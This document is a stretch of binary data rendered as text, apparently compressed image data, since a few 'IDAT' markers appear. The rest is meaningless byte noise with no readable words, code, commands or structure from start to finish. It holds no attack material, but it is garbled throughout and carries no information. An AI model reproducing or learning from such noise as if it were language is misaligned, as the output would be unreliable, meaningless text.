_]o<o̧3xtĠ5]-Xc}9YbWDLpA(G4f׷_|~	ɉ~~M?dCe^_5&?\5/Ucy=zi/(j>|&YrJ˭Rロ䮿nB}.s|J.FfR3\`ʥpxB栯.=&	GzhkNev^Acə;LԆU}M){S 04*'A	a˸/FPa΅ctɹm.wf'0~_ޭ\C^ͣ?-a¼=&\zˣ~c<˙f> 9kr̡bkO/Gk!j
d؎bxΛ,KP
3vЧ.pk_ӺnuVȚ\KRQV*iwOVKACOm)|흵V7f;P$O.N(o@LHNqN\6LLj~wUF%O\"'h&,f.luOȥ`߫?(bt*_eDdeXa2]O)Ea&I~~ɗ5{	yFgyhڝ'R?_hiɔzGR_?OɑDgaGAEXg[/͛iB)9bwXJf=%Gy^x+tKZa
6\z4/1
iBMZB,}5kăyC+Ԁ;~Zr&.۔%,b֐-}z匕&5Erh\Xq0Gy_RzA?!吲F+R^8g<퐩8'"L2/eid^F䌃uG2ۿę'az}C?~4=}V}8$ѵcT>?hWb+ Gޭlo'm1f|dw6[FŮ>?g[-4Y/mM-`'7yhڡGsVvjɫuM!wܿ#WDq2;1= ٛːl?ïd]Ų,w^MG2—:2R:d|gfЋ?ÏuMLjVsjbT?DKV3䟥e}ج߿̯>xuAf
	DD)VwD޿c0഼_VN_H}cX3ǚh7@U~yE J9KKăp*!;|or7g򜚖>?foPJUQm4(W8ɘ5ZQ{Cԡ<4)Rj$<D+\WggL||_ZC{[M֣_HM;iƾ?-dz8&.5!B\=}(6)1?5{3B0lcӳK<O&g>Ežq}7>?r˚|J0vr/	0?A#=s'L㌓X	_u#%yA?5Vm0VcK.nO؈]o🼄Fj5sR~Y<3ay? O'Z}yԟ~8
z719!>ÏMlպĀ&66i_asM+Α$s5=[*LfhX躳o%.lzM8dYy"d
NBeﶥi摟?9nqd~6J@]WԟXў"?Av$ϣ~YyN?J_17h`Ρ/
)}Jߢ+ANQ}~^L&S
BPp#kݣo(Mm\+&kD/
s~&޵KwR`v$vh3}tS%Oʪ䄮pb`%'F!pyNR{
|b{ ֬u5%jmB	^TO❏,LZDL^^m1mk.7/_D^UwԤ<yXP?L/<f"֙ڪɀEO+m0PwxK3'D߳=Ow*nKJ/Z]=~ۇ%1-Au?gX9 >٬cv
w[?҉+9d bZ,# /\Ks2zMCM{cdhQ{m\1/_>	 @ô9k{/ghף}Y?EVSOɒc1\dPө+C>"84blCdv'1'kǁu֏_a矿~h_~~W3?O9[
ɑ㮥?U]h?~a׹+s`„/۴kNbf?:蟧~UHBc~24391;u2W^%r0g9%x0gQ΍>?Kya	&M9jp=1X$?M4(QV@KEh{$f27Q?VпTUaz02r<K_\@b8tVۭo-4ྌaZ.gQsUO>!Ճ.;1_+ﴪl"|c3BΤv.+@f],“YK-ΛpsXS旿*/y9:]ׄ"g^ޥYp,Iު藐7yC	!CJ3w<BT39
]y:`qE+<
$ޭ]M;%]F~8.
?^A'uX%ɋeV~@	uߎ6 ׽V_RnHp"GVbt>*GsMa gi窳ݟ|7yr.;lc'o7jsXPq?ALt
s?|\(q.}AmG1RxOEf6;Gz$J
0ކwAO_x^0X_G)+'$$tG0};%Nƒ_LZ[ Ga:w͜nNi&t~BLőgؽ$2a1@ZcR@ϾI)8m2pוZBt
x?^}v)z$ FNq!~lZsj*͛TOso/s׆BMa^=eѺ,
ݾ/iP÷Z;sQVts&9[ޠy?z'G#<l`ƃޱ~ u}I$ɭidq`C=ܣ˛"b5u?\K}WlވCo̰kk93[̌2	`Ni-NgzDٹ+q5onMQ(MpZ`5s^G51BZ!:[(@/:swoo08}ucm`W5/S/J2XϝSӞh~2lt:&9
YDԶڜG|(a|o^y“T*5ϯX<3Cg7~}:x7&K\9_}:.麿)о(9lK`k6*rԁ76EGerv.xŴe5LD&>/!ƾ8IhvB'W"xCMid4<LYe[h.^tbW/}y(\ N.xwjO;xK^`9cjr^/«쩛ΩEFuwOS&<(nؼ>o߲7?R~*6*-ü9W,'/}hW@@^_S?I$6R'&s7^?Nx5OKsW?sLb]Su0nC{=B}on2N?_}TU7BLe:Mb3-goS4чbO;Exzjb!lߪ}F]uihZ<,(SfGlpw³&g{ߤLmj2}<jL~S$֧~\ƾC__7ϲH?/fMoϞ![냢/؈4*دi/눟;~9_S8V=1V.=Tvʘ%gl2-֠ŜrZx(c/gG 
O[qkh{ml.CE7b6Z_)elΕ'ԗMU"%̆fyJ`I]p~'K9^[ij$W59''1"z謥=E%XΒpvi4+f檏ޚ<_+;_6+L?={̽*<Z2MX={/HϡMY18-ZG+dĖ\œysjiWGʩU[DiUcxHpu^&w0bܪ$
 Llo采Ўf2Y.I[{^Q[KWZ=%!o˸?9svJ4|e?~kךf~BMQlp=-)ZbP-rÑgg<6b6M,' 7"tA'zf>ٍuU2̯К_-ngrڢm똃)L֦ygə\b2Zʹ^d
C|Tc[h@Eo6SX3mN]>.FH@85e2U3{h|{V+\u缱Y9Z?tw_Ep]ڢE-v{ZUsJ-I<!rx,~qpp
L#WH	I+M63vc۞L7Bd]#u!ȋ;$9fe>G4?ɶKOmIЀ
\888=4zw`0ܨ<Zg؂lZV-E%iac-9F+^pz8t̲wġyv({6'o"V9I+[}95
F>`̈JL<AWĤwciw_tKt1950G͚Csf,@f$:]4RH?}>ZVq>%ȢƟ
1Y8>M x`S1|beWPٽmM(׿T)pZp&k
GjJ)/=kӯ~
p	]L^;*1[LɅ<X@(֢׿UbGSGXk%?9@M@;~eץwjү9W{Ɗl8Ab'd&X $+ѨdƱPlgR߀=} CPqdmEuMIckm:gx'gJ~MměY6-=bOö`2jU/V,t*CaoL;]u81Ph^"Q#ќg~~R6g\%̱`휵8mĒ}:1,cux)[αH8c0Xw跸ѱkh`7L?rlzTC\Œ/Qgig^FN6T~r6:;{ġbvtV4Ozv~K^9>I;M]߅)%ZkXmУen0`v-k1wc\B/mEyĈ^e4<b~G
piIc|Q+v'iBЩ 1`݀;iל	?.2sɋ'jN
a,b'_ߙ،r2o+UH9bl'$wW.g'|ϕZ?+4ʝ܏Ϩ-Z8^krw_,[?Odİ_.q8;VdHza?ӯ ma|LDٶpfZ?.WEWFWsDP!seM1l\TFgCU}_oV>s'k/|syc%.ى&`C	&aؙcZ1s*<i.YWApזDp)B~z]ښCw@iÀcOApuNٽ_Dkg_
QD[9v6T𵭝wdiNL>n(/,}ϛ(WOwU"\Ჩ|$b)=m}N辭"SK^mf`#{>/oGQ_Gze=Y1ۣ}L+h믩]Hx[_	@fnV59ĕۻڝu&OzGkūD]s=v,gsK_V|'N,`y6_9
*|XV:/͌j+z%Hގ"x&0|A\S3 h$ہ"FF_N+89oΖ`U45h.O5\[mpչo`֤(Εxn4y?RpeJ֎WK7k5X=6cqJwڛ?qݷuO%::f[S\`z/2	7clQ. 3}L#m!p"u3lrKXMvWjԟQ8/{Y]跦ւ k*-ӫӟGwL5pfDFS䊀O64:=U֟v\gg3%V$zq!to%p{ue4sqNcL U7;Sr gxΈ M$Y1[kyk'aΎG!~Y^n&*o]Z."|ô!
&ج*ImusÛ[g/sO#KyG2=܉)Sf0Ծj;'6L_Ͽ~ǟ{}1/_~i槛{+@3Y[=G`H~I12YO]knyŢbL<
#"sS>a^Qt'T80oU7D
\
9$`
|Ŭp<8ec
ƣ6lS77H\,Yr"*d-"	>!sQpstmĚ"&y_8wc
"+nLM>܏s	d?kOjx?Z$|,/
|H?}#xْ#Lt#̵:`ve1MFAeB;!+#[nk0<mX4ibc1}kqꁾ_?rǑl336g:)haֽqnwvDit`¦M1lWEG513,vKt"X?_8oDյd!Dl*Do=~:敓U7-JONbwbl:- \#~b?1sc眀aъ<X"\m	_Xln["+mzEnWCkWy׏ƻ;|R<`:TYRCPZ=U:ZmmDg)~'=1k%ѥ8/0NXɩXU׸`Ÿ~A\A%	`]saþ'vj.
841?(x-L;O<yp!#ߊO8})D{#W5{Rm!Oz?YMY18Yx;GJ[xFvO$|14G8>pbv8y(S4le@rs<OOr"/Q%en:p&x|u6lrxd Xc9
'|YFMl_
ێ
KżGsS_譟^d_WrZR{1O'4_Nfl˷ו5l{Mpf"oOdgOG]	ʥp1wVo67@~gYlG0n6V?EMoȵ#A?4W#`Gb}C4W!ޭ_61SQ~͆ʺ=OltIe>0|pe?njlqNFU@?RG8{S)6҆=s/6Y_Ycӗ|7F秠h3Is	s-W,̓½5;?~zC?Eό
`w?p~a!>ۈ'_9؏`%e8RPLھO-810++> AÔ9΁d``;ɓp9b^"Y]!"e&(Wa^#wɿjW.rO|a/Oz@o'O`{’L?ֹN24n]'{(S?kG˙xoz8H]
ĸ~|7SSәZG£w+dTz$F)9t~y+WCm-׋PCДjߧ:$666@IDATF;}S%@d#2ku,@i_gpѯ$0=^C֨&xD
Ђ\@lU/f)"k5sΜLsiZo-<_ XwxZ-Nļy{ˣI_8WDKwvJA)$(>? тvY#CV~V`gA-2R1f%ci 3nqtDB>А1Nkuʧw?S@eZ,bΊl]RDDG?bH^Ƃ,k1Q٤ݲpqUC[Ar+oK2-bcrJC|!:kèRJL]&<_.yغ&P@ɛ4;q[$>ىƬg<wǙW?(OO	j=wZh;jEl)m\3zkoal`zrVK};\=i=V*ٻxrC[yj:{B,0.HNAD|,f]fSz'Sî{^*!%{\#Ǜ1\ׅ@^NYs.I/_yTo_z+Ell'mU)X>|zwӘzE6íZG΅=SiGz^
֥HHJQ2Σqk<_a%6_O(2
~>otS\3k;	bbOEH]1՗Wxed+G:|@?ltNӪ^Tnt)gF;}`5qFKc}tph?x+ע9i]q(gタq4%[/H x@'E;fozZp6-|QnAM9I=~efiwRl#vf+Zp[Q4CSzY'6|~ʉ^֙ǻnCq&pG֌M}?/(Ymأl"{_Ľ?ly'ݞcg[<ёz:'łؙѻUv[{GH؎jO|Fg9fƵ=6c}vp[k.	zq;xӾ~ւ
Z	+6>#-?K+^#הh"4;s
,?tQhWM4
~i=L~p=4^[ݝWXb=֜}?v<<üy5kp:\aMDzuw#(RytԡR&8{E͉Cwb:Aw8y%AkNu*Gcژu|zLKb~ kgbGpu7zN;Gs2}=3%s&vu$#+'18HVw.5;{;xΛn0p1K<8}1ۨZfOXDLLx:
OgG}'.US$[cJC" F9F-z4>}=b^{ӏjimM>ޡ4&L5{dw(&l놏Sݝz<tn"Jl-S}FT(|ka)ѓAeg
g2;oZwN\\aT9ڭ;s<bu,}~.\.eQ)6R#7տEzE?ӏ2G^v	sLOcvI'MkY@d&=5EX؄--c0ڭ6|`T|$1'b3}O,S?a__O >2B_gQkՌ	ݲd~>7x>x]~2\z88ò^b8rc/g!p?=ؘ(a]chHAX*9K2cHHk|{QY: K/ͺ\1\YG.[ըGO?>,oӕQ-fpmp_/0,{lm{)
u7-Fs]%຅6@`ڰV%Nџ	KF{{}r/۩p7U&&عdVNqᎈoUmis91'o{YR+KKvlW7tϤyv?5WvѿfIO\v#Tg^5b?kc¿.Ivu\O93q.iYxީk`9hgMϿ瘎AUιsi
%'$M"%^C
9x'&Ag!yė]="#2{6fU'q%ǯg0? g{$ƹRvvK@\*uhS^QDi
A4O/lCݻ
{jww/;ˎ߿Ӌ>ꟾ
$Vi
#vG4@9țG:52?gC~lYhf/Eks[mc딡ܴʵQ]@I/sCjNY3QAܚ#gk5h䀏潫}<6Ϝm-ju}iŦcAs{m[
;6t?,\'Y}9P-2J6	\\o@So^T6EWOOS܉x^glЙ-ILk#oGcFu0eyD"KCksNSvLNb1d:VZt?埞!~.}dغw)^NVlt_O-!>hd͇ɵ.yGkS^Z|zOBYO@C^8W)_mn;?s%}M{O\i֥?01rqhqYdOtgT;L%೟~&?Q=>ɹ?]jR2饜~]\.A׎Zï93.K.\Mf1$_:NPWx4W>zL<V$OiC0>?382>zW~Y~7+ej~Fvy~z~mHv?܍6oXU1m3w)cNgNCfhλ_~2~\t{ҌpϽ딣(+7d䴚s7
f_{=O˰i.*9F1LGHdt[W4>u~y'Dϱ^&w}Ne|!@C533rX,s
|̌<axK`:#_}&~^k;9bx+{w9I-Ble߇ɱ_%wkz7=_3xAC2a&O3)[bƴ?(uSk| +Cwax26wwa{ YqYKeP<{joͷIBΰ>[bg]#!a!a\qe]L6ȾyU9Yq&ILU#FQٚGBr&LsZ@;ߍ."A_A~YU,/)ߧ?l3rf$:
KwgqIs}~BHj&wۼ^‡eΏ-}ɖWj	eؕ1ZAC&-y<g{BuEcD4ڰt5!"q-UϾӘm/?	t5gc=z;gA_݋!p'v>`?fXw<yIIeeFgXݼF\ؐMX3MOפ؎īs~"F]M_
?'ful0ZF[?xWjxO_}Wpc_7ۓD!Y!;K_UpӴDO'C7&Ȧ	<—3VYzhN+1Sb\(Vpm8mŁ.?pE6ϫ
W+4g
8W/7֟'O]Ϻc7cBLbCIer^G@?R6#:c7zDcnaw+`~8(kc.^&bݼB5?~}l)tmF֯
QGs[C8^v3굘1|kDC@?[G!oo󞖊yGֽ1+Fѳ{IO r{zJM	ؘ[UWy~bg\|ij&1OZw3_l3?'ؿW`k.qhzG.]?x™u벉6k
䍫m	ABp7{􏆟	5~@kf\k,;%✆{C-D[-vfHNUS%
t|kZZ[0'-csbF)SP3?;n'H&xbʝ
L@fxh#oW<\f4|vg$W5=!H-WO-Ǩ^C'ךܿl^smZW\Q(;3+(v?^'\kh7'Zb<::8pz`l_^2X15~B4m|G
IOe뜟kykZl!͎~l2l<kNӺt38~ C;2onl~( {C4'ݰS512>=OAQ''&;ntŸ[9I4]7/y@|g[I!~Wzo|qmL'gp/Q/]ε#a]'<)?,)(a2GL-ؗԒܘ}$iʶvziw:IᾨxWfqǟ7Տ=i
ZG"w?|o_˯eү%~)!#sNzяMjS|jT"'{ebͭ?w!H=&A_#U%r12&~~=I>U+x@Dr>=&gN aI9th>xzZ{oѯ7л_
\FQ7?>0
	ׅ^A<pb{ռ-:# -*5!K=&.WzWhEj> ,xkeQdݺ[G9%tZQUwT#;0qȽT0¾8,MqZI9}Vr¯V랯5]򔶞Za]GQ9>ܟd1t; Xo6N+`oݤù(gHŇnm_Bpoo6۵^Wu!js-V%u@ΗyYE]zh'W1׆kqri6iQ)=|۞*[~x6չtUeOKI]GAeLZBZbZ:aWbKoZŇ3:&KWɮB81'q }LV1@e;[8D?g`f4.AXFbmtֳ]Pļq]G㦁y_Y/z
7iz[uqwߟɝɳ%="ΏϾ沆*}p}P!ob;|6D󵦩͈bݿ:x#븓t+_X	Aк̮?1%\G;LRX5{9r즟s{Q06;Y)HkrqU2[UR:gըy3=ۿn̿~{[P6s?&}!_oŵ'~V註KkSU{M0sQߣ
KB{tߝ??k}o}q3T菙v/O|m|lǘB{|
O=k͇ kk]'>j̬7o{N×d|9=:h2g)~$阞hW^_A|W5w?eXDީLL4MFoRK*R.	h_ǞLV(nڽ?4YMkݢd(O72~9'!OUsX6}Qd';b~{C"jk)\ѵߣnUr9oLҿ,臣(')Q>hWh(zH2tih.f
Yo߭le oMq5^yN8&bΠA=Ұ=1x667IIl=;4}yP$dJz]S;%L:>ۤг&&sa˫XK,3j5W;2:7<0ՒG/D|
Cco,[w9pxC4%NlGm}/?}?}Ux=Qi?0	I`[yȗfikoo`Gf>5E%=jOpq!V<HHȄnZyصh53Oȣl=O=ϣWAu1O-`?'ͷj[{veqXƸc}ksr!rfI3c7oC	q9)6AzGuϏkDs7ptb
/$־VQ[s^01XjLcsԖ]˽&coo+kFRY/S?֕-ౘE_wn-h!hu3%gȀh',0Ծ4d4*["rrVAHɞ[:wi0gGDR8J	Ne\2`7
5q۫
+l*=JKM'[qPnjC;޿eĆw|äQ^Ϛ_7~Z_7/_h/'yPG'ᑟ>|L/ w$S8gPgԅ-j^>|6x/0Տ>c7SCf˳"y5ة_=Wrw_?T=SN%3EVP$2կ~nCfep"one푞&tә|el\*8%I_	υwa>
r'W!:7~˼ge|]	(azq:P^yY?>W;s.3Lň =hL~&G~WK)n:HM!mi=Ϟ^yYՔ1~Tihh\;A{Nr?7͘4Oqt3r'I1o$&|1gw?**.q?M Ӣܣi`0Зxd:
lޏ_B6|kSrV;hjd}񡟍hR=psf㜹'X˥N+0뇻§v<r?L6="rPO?0pE}^K^'nKKt]ŮxX?lU`z4xj&C~.w7Vc{ZI>4ᇋas:\S׺7Ίml&ylfԌ>G[%áûx73?뢃D1~WQB7,E@+lҧUh]/5/䷔Oj!YT&Rʿߛ`fߚZA䜤iƲT.,Y7qn`A!m1Zz~^E4u;
1?\$Rg֬6*Mzo>Ѧzp7!y.F1d#["DP?rNk>]8s'^/}i]g:N`w~J%=?dn0_%SYةl
3?O3ɬ_nҬݯ15>JcG{S.C?2`2؏F^~q_|:=tƕg

]A,you|q%d܍/`'S%x[	h엟N*Գׇvy!&>?.P3^y|~iZ}:f]E79C
D^r#0j80X^s/'/-jbkr9诀&>MSi//+QTѼEIz8Me?I͗l<n~ٌWs@{4_ЅMf?}:;'7cܻ$(m触!vOM|VN;*DC0W1L?O*4çUϥidۭoCS^.n2j&b
	t&&,U4/?.ь)BGkY?޶ina'?<rǧ?b;l𧇠wBfS\'ȧ2?qw7YhK;VW;&mԚSV `X4ǽ6fzo)fg4+ƪk~T9Oj=1z35D;+ZO<Fuu![UbZlG"oz50rnS?O]kc?]['N{ϊ6u{[-=?Gt;>>{t]]jݘ[6鈆H8|hx3
U!Afg9cNmz)3|`s=zXM,uN]w8N:d?t#ql3\.HG&9Z66 ?9\ZSLCkcO{ǏDX0uZ#熸fG6!.	iLfAȾ5&X,f^>UP2[m?u^?G%Q3[?d_LMo	a!J:繑?L`
goƼLOipoyg'٭_3>m<)VyИ?ǯɐO.ɿ:opm$Ǐmo?, Odt.F~b;ZN9U0$Yc-g}qz.'ܔO_ߣUIٱ[Àgp|S0O*ǯ_!_>7CK__L쿔33z%{ѸUطd˞/x;gan=E&C_߫?@u_
i!bw ky&p#*6"B4GᩅH
nlX+Z[HYEQ[&<@V`_?=u'*8ü}Mٿ'aє'yVwg]O?T?Q`Ioy餼RVh-qzݥi}zqL[dx.N5D,{cWSYZ?a8ZZ'7\:a^̸oL{pY+\GF`=1
LW1seϠn<و|ae̎;	SKُ]%r_ӏsB\Ign|lƝRӔ[}a'܂SkD7]EQ9,MEIGv7YCMp	~[-dG5즆ѷ5O΅j=H@y–qTAkq'-P+奿듟Z5oԊ:X*Aÿ#@{5fy>d!51?*bo1ƫ®qgz3%wR4'dg~[G=`C/bzUΙ
"gm4k!

%.mxLsZDžR5UM)ڞX5G%3N^Zx8ƛtԯ6'k˼pMs.ɵ@DҳTrz	O]g)aoS;wQAqI?} qDVw?!8L"d<pNJK\E?dz|ԟPՏc
v*{~+h]lYy3ߢ\%x~ُ0gZ
FL-LoM[HB_!*Qv~?&`Ugڣ1k(}s?CS#j[jFc~}yۡZӻhhͭӜABx//g90q^D=OZaD5|-@/_?{#ѱk?]<j9WٛiH\NDi}L9׏ Az?yjBX}Vfr_9ɯ4^$!FiF
ym44vc@^E6&I1d]>@g=ldK:R~?Vİ}?^	հaD mz7m
?	h9/ P<jպ!sL,@oϤAq=GiV	`x5LN;`W<L ~jJX7,vlXc3_d9$VK(=9u

0s^9>)lײ#&\A~aue!vJ̫)[͆	rs55!a].y0w*4:Ƅ;%&}MsKv&κOl~۱w|6==&(Wdv[HXC9)	6VFv;u{lfmg'5ʉ^a%ǯwme!3y$rL쐠O
yk6ͫ5H%o7fٵ<T0uoRvU{B.ԹkŌ}K^SNf*hNX`OGG"K^`762<`fZE jnkв$I\`y3;M(vhԆeGX?ya<&+h] )xŹNM]bKx_;_6y)	@CuDžD?NnoϒS"}xǶTBb`23=Tyݛl3V= #@џn3$<0#ef8/\S;dOBМ+9+3X%gzJܩ?
KNa3}b.j5i!W31`1!x|)
grY0b%#oP
GgWjZ]YkG6%)vd0//F~?y?z6pZ5m~E/~o߿/ME׿_~bk҇?oJ`sx;.
q±k=ԯHX~\χ?
֪}?xGYE|ݟN$1B$1y*nIoэ3dwֿ1&PF<hz)/яqh6BF.gN`
:-{<)2rrpFVgU"<p`ї
׷7RC;l8tb`h
͋B;o#3pɔG!2rưe
^> .GeFҖVT!
&|֧e
:krƖw$`=n FW;@Ѓ/p53뿅~dF/+FZ&ssmo`ϿjXv&=m|rdo%=cI{;&пIkNw o]1%gu`s~@k@
}w9! {k0u`eqnOW\\]7h~N'$"!xSp:x4~׀e|z(`6S9eG}&]Dπ";X8jspUJ<Z=]$~;/v'QK	^a-$GU(=;@a@ug;IDpFȯw#`E7cet
j&sZ9T$z]g^WCmuth2:?呿y2sE7󢴨N'e^\BDg&~^匳6:+u$	qDFQ.l''FƬƬ?3x
qrERy'y<DYܟОl8bq-.h}Y79euņW56bO_؀ z~VV7qZ]qJZ+6aܥ7x8玓im_vG᱉G7
d6DZ{/0Q椓7Sgx-2
̦+1U&1Y!&g֒o}svveWmF.%:-(_oՓ^ٱ'>Rcݨk2Ϋ)=4/*zTa~MGɠ/>0I>kַ~M>@?fӥDx&zacO_)~P:ѐf;3%׆ˇqUS?1~hxH@֖==r;YzVP`~M7
$e=lpptl=dHݮ5yXI3N+g&''8GxG$ׯBj>^S[hzX=`맠:esI+2<E=*Wk=_yRBZn_
Εq;ϑz{/?GaJi#b
G[Ϟዂɨـl6&"-aotz;M{ߢR(KlW/g{!YlNsB˰
B'o_ՌkeK$6qO5oѣqޣ~mҋL/nԏVc'6:D]BdPfqߥǝ07\xߩ=?YOMw߹{qϝ~F~8|T' e&撱1_[m~~{G?]qy.j5ϔ:ԬGoƄWl2yDG@|.J.HkN!Stcߥ_y
Ss”wfx䦕^{? }2=zX-F[5ϨhJӼq
]
aw97s<e-SmJ	bjzQc47S2geu匩OlB)ٿ9fH7^8̬^9u2uZK2z~[ihkIMUxj.\-NkF|jx6ܜ
Jx8Nyz;J/ҢSRp/3ܕ9wvuz<ѷdĦ?b'PNN!
^4J[
+־uzPj?Zx{bQJl
sU7qN]j|]^
3y@y,뛼FIdBնЙաUlxţowB&
qԖחJbŧ."׸iួO6(y|>?b,\MƉ/g<@^59w~KD<CCl)_9ٶ6Cփf_?ͯ`0ݟlUټ}f>KC|̓NGo8{9~ξc[`͸ogL[)Mҵ68X3`}QsK\Wl>z'ym&59DU+|D<Ρn#u2bBI1	\	_QضvCLs&яQc}/'<kAR%}%6)D:5MB$^N&gv਩=q^ n`5X͞h^SxO~X4V?6k0mo6v9gnONNtzf$GW7(2o	GߥKQ7
y'/W$Tȸ~DPBxyh*ڹip*̡Sn
O&2F/*?grqwoænhO_?oZiWz.eOl/!ӫ՜jbuxb{m.
Hy/.oLfWQKrlK6hm	Lq{ğe@4ߋ~E5գ~s~#0&Zj7H$*X=6hѱ]By,$oI##cW؆JK.aJp/ƀ؍vQǦg~@{BB-}vRt1`vܖk6t,߀2tM3|ΓȔ2@IDAT7cog5ٮ
mzv+&gW3kmlMֳ<LYP끞-lgŧ߇XzqK߰iŽ+63&r~2w6מ{`I~y9bCѵo$S&fe`7liPo?qF/@;{x}ት^a7\' M'6`>0lO>ЭGBJ~39\IA엩:h>8+6lQ)w8ï%{E.P-P3G#d-w9f0M՚Kg?|SDeS?m:	W*0>CI:%k3!OMvnקcv?
Fx]XF9t7j(WeƘn}ԟ=OP5=0h~G`hC<2̇f֗?WQ:Or
WJoOD;5('ǒ;!
CQ?Gђ@2^ca>5d't}A^sߙp{QzPRO3QS@Yd=eoobָ	Zf
?ʹpw'Q1r7,:.sh{prWkLo
'wdIgs>TW	H{g<P}_F,Z4[	{W0%stbGL~#LjorBCίdb篿(	#_\
9ys ]ތqfsM8p[x죈(`5wORwᴀwŸ7_ӿ4iQ (ghlÌikPκ)?H~I/@᤿[zk$Vػ'ЈN."r~y-vOvCO艱G3ڧmN&%o_I%OK炧'_kh/
oPO;AJlqY8~=;\ʗL~NWoqwַU͢pZ~y'=>GҀ3یD2Q	-npĆecƉey_5<[Mou4mK*_c.@593'S5!~%I90+<ÝRk`n;^1ԝ8,{x]L58&/#IobympV,z1Lw
0h1c6
wǗi4>\U^7
Mm˗x7
5%l,6#
@Ø\XR z>FGacY"v,֦}Ð

G&Hۙ_	e1s}ܵ)WLda(kkp3X',˖>X0pR?>3<p܅=}Mν)X$8׊uk#4$g/h(N!<{έњ~#gekF9<W9WmZ$1%4	,+1<sː>@%٦7	
aªήo-@n#z윍Lgc-c~O߯ϿYs?+4C|<ܣY{IQ1p2:QrpPܱǺgSa:'@eµg/vc-YNX󩿞ɯH%yHjv>A-'%.O]:wld=BH%yf\j~fsZEƣOZ:w#A	7bhb/Dpr~yɃYDʿy[5!9x 
!n}д&CYn4N:bo.	,4H)+Hئ>@9_ޗ`(}dcׇfl#kWp:Y^+<e2
eʽWMGHUީV?MseWS8󤪷;B/:yş<T\Oq5gDN{rG5G/GLL&sSb\(=qyo$>#H·B'_-G][4wߧ'V	|<pr9ږ>3koRş{TO}bœoyVՖƀ	,_/OV{P<޶W;ӿq[1t5:ËMH
qv/{Jz^H07mwo0+}*&?aps(k;D
dv6# q쇈e	T\HvS}[Ck5	o薬
#	nƘiAᶀyT^e䉶s/]{n4
,C\jC=ȝI\>@x'y3/N8hqV^`BLb߄#=*}(CA@2TpbqboxEsr}FJ?X85b}>s/6?ga<,ʇ/"'aK㽏VZ23f]4մ2%0g"x7Iws
Du7#2ҙCNn	&m=E+:v,^ñC`bk+:CX~󞅆.BQ^JU0Y~H-Qs͊rNPG?S
߇A%GXșu)f~k3"?g|aWc3g3)QNh~>ks5BjO@`o	<\GҟJefa6?uU<R^ւvCXuV(:]4^<?ƀ
u$#xL3a4۹eDFz2yRƾq5@KsLγݯqM_yu=TgO@dp~2?`wD|$9Ya|5_MH	=BMt8B?ٔ.XWSP
{o?$>͗):6%)=8nm\69biY_Cԏ#3;gu9DP0/iHL_I:x?wM8"yPI6ϕWomW^?ERgs6{sE6CUMk26잫!om/7F*h^-7>p>#űf/cDo֫	;'充lNwRow[Ӧn/g\':.1vصZh_"SE{-l/a%YQxUrbTsWRXs(Kq:VӾcsy36qW}ʣ?<k>AŸ~4ֱ~C0GXX'a7ȩ"92$o=zX0z$Kfpr:w@7PmON[苀29uOd:ziq}O!qՄ/[g\"·"8~%fZW|Ԟ;8eooG9hFѼO2)ĻA3떛quzRMU1q,`Q#a"c3u94;ԉ{"4{?,ewgo{3i<v=r.:@+)9݀{zQKK2EW^i:anO&`vw=9rH<sz?WiWIcMH5ͮVs9K~k~2>Q
9_@	wx̵h2=w뎜ڂ5tnWW}sg5s0frJɃU&<!T<.[
5O
`G9S	ÇqοF;$w3n;
:sSDŽyFH#[r>b>Ob4d^q=_@9'Smng"o7X]^&CT
xWRE1C981F̛1fQ
ϿTBM
#~@`՟};M[dZgaqN19/~r~#ETRxJqa}}
j0fR'l ,s>2`+qu%?ID/['!%;SCZZuzeT~Xd)6G6zWfLRU.@3'cphɈ_>Wxr0y힅i<p_y'sգq/Cϼgtٯ5wƹɉD56߻F5}5=Aq7m'B}764kg[a>+ojkYeB;rYgهLk*f$V-MQw~	~jACb1Vc7ďD6tk<[5XPܐ$3]ytD#8tx}鏌LzccB"_GD	–xŇ}.Ø.?q\y^x\Nb0MZbʜ?O֦c	D)V+Yd3yR3.aUCMwekj\o.Ϝud0L]FG7Be	׳`X^Z~M۫70i;Iwdtl>3&3NoBssyΗcoNu!rʵ|•c7$}lp4\ՐTBD3*F%@('6$|eA@r`dWLϤT9[@“Z
y^|XL>y3M9;)Yy4>9Yjԏ6
"2c[9yNcr#PpcwZAE	y=\xZeP2Ɗ7{?2_3?}O	FBSt2;j3uxаI|X59s];n-F;d}o9d-H~
%3Fdt*3U4cQym8LGG=>7Ga:o?9lO5jeb;KᷗkybI1#"`a<0pQ?6&zg1Xl4Xw~{ vekcdzGL4Ɵf?wD64kvҕ;VE|3inž$/R}\ -Ԅ/1)ywnsoLa>я^:nOFf:_|1WQY@:aU?aaWr^Mw<!XHw],`
Az.'REք{ @AteOjc嚡"gְ	o5gnraکoւ0OHeoN}rlΤ&_F?	5Z0SXF~Q'GV,Ԗ@XG;x53%rd8Q֮%2h8'=+CkBssphF3Jv"%]Һ{6Fj`wZk.Ʈ.4dINa,"hj-Y`*@2:h=e
Amkf'Zk)5:</ޤՑ:Nr	1'G4=pppQksF=4Vkj4mBauA|mv?aAw8Ɇ3Isrx^1Q/h</d̞	cN3
zI©%#*NWd0|$m`;59H-1&3e
>L@[sṿڎ*H0Z+K’AϘ7IcRK5R4Mjm>CH[N8\ep:;޺N}6}W>)=^Fc]6qE6%i]s18~Agd3,a3]|[	.SaQJJ>VhQNעA_3MyN-<ߚ^nN9(<G)6Xx֊^_f֫KENK;%k)_!Ԩd!sN):q?"0բ-߉r66FK~zh,߃2", `TcnNEÄ́^sg	._}EB؉ſt&?vV$KcG?[?
N?|@_ODwsNqns|N|NwY`J&3W-`Z~9ap[%|,k7@ZJGB<:|8S3Ěuj,8
7Ў=ÔS)<N0`Wgc<C
9/jƚ1M`E83DL.X5~1CC	/˙ѕai#7U.N(~^?O:s,Sk-ߣ߁sđ.`5ol$cc,!q+5Y8dzKw7V~$P:as$O)	d.{5ٞ5P(`ob,zfW%IsHfF!m~zʟ̫LȽ[rh^|m{U[G[rKZKNGDٝ	w&1lD;fmS
:>}j´=ƀ,49QEsJU*/V/4EL! +b'gxgy;ZQ}f4YSY%qr:bJe}Q6%;'7^dt_^ta)3iA%y3ĴdYZaub)LP
ĞcB?.CR"P7`7o8+՟>1O7
_@	=)gM2X?@@iYzk-d۰h-63m\va_7{gwe߁MkC9Q@I>l_!m~-+j"u6|ʩ|\jF`ܵ-N̥ZJt`k0{a"fڹX)=o1VrƁM~NU+Ops?s9>ri!\85bkT5WHLx:OU`ZRa1sr&$g}\ܣ&9aqڌC4@O<q^t!l6Avp7N6\^/?OIo8<w|E2;)=hv\]яSﺙ_ug!1Κv<ۖW
